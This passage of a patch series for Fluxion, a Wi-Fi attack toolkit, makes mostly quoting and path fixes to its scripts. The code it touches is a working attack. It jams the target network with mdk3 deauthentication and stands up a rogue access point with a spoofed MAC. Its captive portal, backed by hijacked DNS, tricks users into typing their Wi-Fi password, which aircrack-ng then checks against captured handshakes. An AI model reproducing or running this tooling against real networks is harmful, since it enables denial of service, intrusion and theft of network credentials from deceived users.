\"$FLUXIONWorkspacePath/candidate_result.txt\" break else - echo \"1\" > $FLUXIONWorkspacePath/candidate_result.txt + echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" fi - fi" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh + fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" fi @@ -538,22 +543,22 @@ while [ \$AuthenticatorState = \"running\" ]; do ClientMID=\"unknown\" fi - ClientHostname=\$(grep \$ClientIP $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') + ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\" done - echo -ne \"\033[K\033[u\"" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh + echo -ne \"\033[K\033[u\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" if [ $APRogueAuthMode = "hash" ]; then echo " - sleep 1" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh + sleep 1" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" elif [ $APRogueAuthMode = "wpa_supplicant" ]; then echo " killall \$wpaSupplicantPID &> $FLUXIONOutputDevice -" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh +" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" fi @@ -563,7 +568,7 @@ done if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi clear -echo \"1\" > $FLUXIONWorkspacePath/status.txt +echo \"1\" > \"$FLUXIONWorkspacePath/status.txt\" # sleep 7 sleep 3 @@ -585,6 +590,11 @@ signal_stop_attack # killall wpa_passphrase &> $FLUXIONOutputDevice +# Assure we've got a directory to store net logs into. +if [ ! -d \"$CaptivePortalNetLog\" ]; then + mkdir -p \"$CaptivePortalNetLog\" +fi + echo \" FLUXION $FLUXIONVersion @@ -594,18 +604,18 @@ Channel: $APTargetChannel Security: $APTargetEncryption Time: \$ih\$h:\$im\$m:\$is\$s Password: \$(cat $FLUXIONWorkspacePath/candidate.txt) -\" >\"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log\"" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh +\" >\"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" if [ $APRogueAuthMode = "hash" ]; then echo " -aircrack-ng -a 2 -b $APTargetMAC -0 -s $FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap -w $FLUXIONWorkspacePath/candidate.txt && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log"$CClr"\"\ -" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh +aircrack-ng -a 2 -b $APTargetMAC -0 -s \"$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log"$CClr"\"\ +" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" elif [ $APRogueAuthMode = "wpa_supplicant" ]; then echo " echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log"$CClr"\"\ -" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh +" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" fi @@ -613,18 +623,18 @@ echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$APTargetSSID-$A # kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &> $FLUXIONOutputDevice\ # " >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh - chmod +x $FLUXIONWorkspacePath/captive_portal_authenticator.sh + chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" } # Generate the contents for a generic web interface function captive_portal_generic() { - if [ ! -d $FLUXIONWorkspacePath/captive_portal ]; then - mkdir $FLUXIONWorkspacePath/captive_portal + if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then + mkdir "$FLUXIONWorkspacePath/captive_portal" fi - source $FLUXIONPath/lib/site/index | base64 -d > $FLUXIONWorkspacePath/file.zip + source "$FLUXIONPath/lib/site/index" | base64 -d > "$FLUXIONWorkspacePath/file.zip" - unzip $FLUXIONWorkspacePath/file.zip -d $FLUXIONWorkspacePath/captive_portal &>$FLUXIONOutputDevice + unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip" echo "\ @@ -652,7 +662,7 @@ function captive_portal_generic() { -" > $FLUXIONWorkspacePath/captive_portal/final.html +" > "$FLUXIONWorkspacePath/captive_portal/final.html" echo "\ @@ -682,7 +692,7 @@ function captive_portal_generic() { -" > $FLUXIONWorkspacePath/captive_portal/error.html +" > "$FLUXIONWorkspacePath/captive_portal/error.html" echo "\ @@ -739,7 +749,7 @@ function captive_portal_generic() { }); -" > $FLUXIONWorkspacePath/captive_portal/index.html +" > "$FLUXIONWorkspacePath/captive_portal/index.html" } # Set up DHCP / WEB server @@ -844,21 +854,21 @@ function start_attack() { fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice echo -e "$FLUXIONVLine Starting access point DHCP service as daemon..." - xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf "$FLUXIONWorkspacePath/dhcpd.leases" -cf "$FLUXIONWorkspacePath/dhcpd.conf" $VIGW 2>&1 | tee -a $FLUXIONWorkspacePath/clients.txt" & + xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e dhcpd -d -f -lf "$FLUXIONWorkspacePath/dhcpd.leases" -cf "$FLUXIONWorkspacePath/dhcpd.conf" $VIGW 2>&1 | tee -a "$FLUXIONWorkspacePath/clients.txt" & echo -e "$FLUXIONVLine Starting access point DNS service as daemon..." - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 $FLUXIONWorkspacePath/fluxion_captive_portal_dns; else python $FLUXIONWorkspacePath/fluxion_captive_portal_dns; fi" & + xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns\"; fi" & echo -e "$FLUXIONVLine Starting access point captive portal as daemon..." - lighttpd -f $FLUXIONWorkspacePath/lighttpd.conf &> $FLUXIONOutputDevice + lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice CaptivePortalServerPID=$! echo -e "$FLUXIONVLine Starting access point jammer as daemon..." - echo -e "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3.txt - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3.txt -c $APTargetChannel & + echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3.txt" + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e mdk3 $WIMonitor d -b "$FLUXIONWorkspacePath/mdk3.txt" -c $APTargetChannel & echo -e "$FLUXIONVLine Starting authenticator script..." - xterm -hold $TOPRIGHT -title "FLUXION AP Authenticator" -e $FLUXIONWorkspacePath/captive_portal_authenticator.sh & + xterm -hold $TOPRIGHT -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & } # FLUXSCRIPT END From 9bcaff15bc77545dfd1b47a11a58402985d8add0 Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 9 Aug 2017 20:11:29 -0500 Subject: [PATCH 6/9] Added quotation marks for space-containing paths. --- fluxion.sh | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/fluxion.sh b/fluxion.sh index 5d6c877..411ab6e 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -123,13 +123,13 @@ function exitmode() { fi echo -e "$CWht[$CRed-$CWht] $general_exitmode_4$CClr" - if [ ! -f $FLUXIONWorkspacePath/iptables-rules ];then + if [ ! -f "$FLUXIONWorkspacePath/iptables-rules" ];then iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain else - iptables-restore < $FLUXIONWorkspacePath/iptables-rules + iptables-restore < "$FLUXIONWorkspacePath/iptables-rules" fi echo -e "$CWht[$CRed-$CWht] $general_exitmode_5$CClr" @@ -187,7 +187,7 @@ function check_updates() { FLUXIONOnlineInfo=("version=?\n" "revision=?\n") fi - echo -e "${FLUXIONOnlineInfo[@]}" > $FLUXIONWorkspacePath/latest_version + echo -e "${FLUXIONOnlineInfo[@]}" > "$FLUXIONWorkspacePath/latest_version" } # Animation @@ -285,7 +285,7 @@ function check_dependencies() { # Create working directory if [ ! -d "$FLUXIONWorkspacePath" ]; then - mkdir -p $FLUXIONWorkspacePath &> $FLUXIONOutputDevice + mkdir -p "$FLUXIONWorkspacePath" &> $FLUXIONOutputDevice fi # Create handshake directory @@ -441,7 +441,7 @@ function set_resolution() { } function set_language() { - iptables-save > $FLUXIONWorkspacePath/iptables-rules + iptables-save > "$FLUXIONWorkspacePath/iptables-rules" local languages=(language/*.lang) languages=(${languages[@]/language\//}) @@ -450,7 +450,7 @@ function set_language() { if [ ! $FLUXIONAuto ]; then io_query_choice "Select your language" languages[@] - source $FLUXIONPath/language/$IOQueryChoice.lang + source "$FLUXIONPath/language/$IOQueryChoice.lang" fi echo @@ -659,20 +659,20 @@ function run_scanner() { local channelsQuery="" if [ "$channels" ]; then channelsQuery="--channel $channels"; fi - xterm $FLUXIONHoldXterm -title "$header_scan" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -at WPA $channelsQuery -w $FLUXIONWorkspacePath/dump $monitor + xterm $FLUXIONHoldXterm -title "$header_scan" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -at WPA $channelsQuery -w "$FLUXIONWorkspacePath/dump" $monitor # Syntheize scan operation results. echo -e "$FLUXIONVLine Synthesizing scan results, please wait..." # Unfortunately, mawk (alias awk) does not support the {n} times matching operator. # readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) - readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) + readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv") # readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) - readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) + readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv") sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" if [ ${#TargetAPCandidates[@]} -eq 0 ]; then - if [ ! -s $FLUXIONWorkspacePath/dump-01.csv ]; then + if [ ! -s "$FLUXIONWorkspacePath/dump-01.csv" ]; then local choices=("$general_back" "$general_exit") io_query_choice "Wireless card may not be supported (no APs found)" choices[@] @@ -753,7 +753,7 @@ function set_target_ap() { # Remove any special characters allowed in WPA2 ESSIDs, # including ' ', '[', ']', '(', ')', '*', ':'. - APTargetSSIDClean=$(echo $APTargetSSID | sed -r 's/( |\[|\]|\(|\)|\*|:)*//g') + APTargetSSIDClean="`echo "$APTargetSSID" | sed -r 's/( |\[|\]|\(|\)|\*|:)*//g'`" # We'll change a single hex digit from the target AP # MAC address, by increasing one of the digits by one. @@ -815,7 +815,7 @@ function set_ap_service() { fi # AP Service: Load the service's helper routines. - source lib/ap/$APRogueService.sh + source "lib/ap/$APRogueService.sh" } From 03c1921f9590a020145284b02b47302b57512415 Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 9 Aug 2017 20:16:16 -0500 Subject: [PATCH 7/9] Fixed a bug with hostapd.conf's path. --- lib/ap/hostapd.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/ap/hostapd.sh b/lib/ap/hostapd.sh index 151b371..fd1aa07 100644 --- a/lib/ap/hostapd.sh +++ b/lib/ap/hostapd.sh @@ -12,7 +12,7 @@ VIAPAddress=$VIGWAddress VIAPRouteDelay=5 -APServiceConfPath="$DUMP_PATH/APService.conf" +APServiceConfPath="$FLUXIONWorkspacePath/APService.conf" function ap_stop() { killall hostapd &> $FLUXIONOutputDevice @@ -50,7 +50,7 @@ interface=$VIAP driver=nl80211 ssid=$APTargetSSID channel=$APTargetChannel\ -" > $APServiceConfPath +" > "$APServiceConfPath" # Spoof virtual interface MAC address. ifconfig $VIAP down @@ -64,7 +64,7 @@ channel=$APTargetChannel\ } function ap_start() { - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd $APServiceConfPath & + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfPath" & sleep $VIAPRouteDelay; ap_route } From c5a15bcb6c17e47d4377e7b16e45cf1fd5be2ffe Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 9 Aug 2017 20:33:17 -0500 Subject: [PATCH 8/9] Updated commented code. --- lib/ap/airbase-ng.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/ap/airbase-ng.sh b/lib/ap/airbase-ng.sh index 58d3af5..6b7b6bf 100644 --- a/lib/ap/airbase-ng.sh +++ b/lib/ap/airbase-ng.sh @@ -12,7 +12,7 @@ VIAPAddress="$VIGWNetwork.2" VIAPRouteDelay=5 -#APServiceConfPath="$DUMP_PATH/APService.conf" +#APServiceConfPath="$FLUXIONWorkspacePath/APService.conf" function ap_stop() { killall airbase-ng &> $FLUXIONOutputDevice From 4a47ee2f885c7379e1164bd2f8dd67472437bf8f Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 9 Aug 2017 23:30:23 -0500 Subject: [PATCH 9/9] Fixed mawk vs gawk bug & added missing quotes. --- attacks/Captive Portal/attack.sh | 4 ++-- attacks/Handshake Snooper/attack.sh | 4 ++-- lib/HashUtils.sh | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 43dc0a6..d75021e 100644 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -864,8 +864,8 @@ function start_attack() { CaptivePortalServerPID=$! echo -e "$FLUXIONVLine Starting access point jammer as daemon..." - echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3.txt" - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e mdk3 $WIMonitor d -b "$FLUXIONWorkspacePath/mdk3.txt" -c $APTargetChannel & + echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst" + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e mdk3 $WIMonitor d -b "$FLUXIONWorkspacePath/mdk3_blacklist.lst" -c $APTargetChannel & echo -e "$FLUXIONVLine Starting authenticator script..." xterm -hold $TOPRIGHT -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & diff --git a/attacks/Handshake Snooper/attack.sh b/attacks/Handshake Snooper/attack.sh index 05ad11d..00862f5 100755 --- a/attacks/Handshake Snooper/attack.sh +++ b/attacks/Handshake Snooper/attack.sh @@ -21,8 +21,8 @@ function handshake_verifier_daemon() { local handshakeCheckResult=1 # Assume invalid while [ $handshakeCheckResult -ne 0 -a "$handshakeVerifierState" = "running" ]; do sleep 3 - pyrit -r $4 -o ${4/.cap/-clean.cap} stripLive - hash_check_handshake $3 ${4/.cap/-clean.cap} "${@:5:2}" + pyrit -r "$4" -o "${4/.cap/-clean.cap}" stripLive + hash_check_handshake "$3" "${4/.cap/-clean.cap}" "${@:5:2}" handshakeCheckResult=$? done diff --git a/lib/HashUtils.sh b/lib/HashUtils.sh index 3dfda5f..b5ac1dc 100755 --- a/lib/HashUtils.sh +++ b/lib/HashUtils.sh @@ -27,7 +27,7 @@ function hash_check_handshake() { if [ "$hashMeta" ]; then local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}') - hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_[[:alnum:]]+_AES/{ print \$0 }") + hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }") fi;; "aircrack-ng") readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice)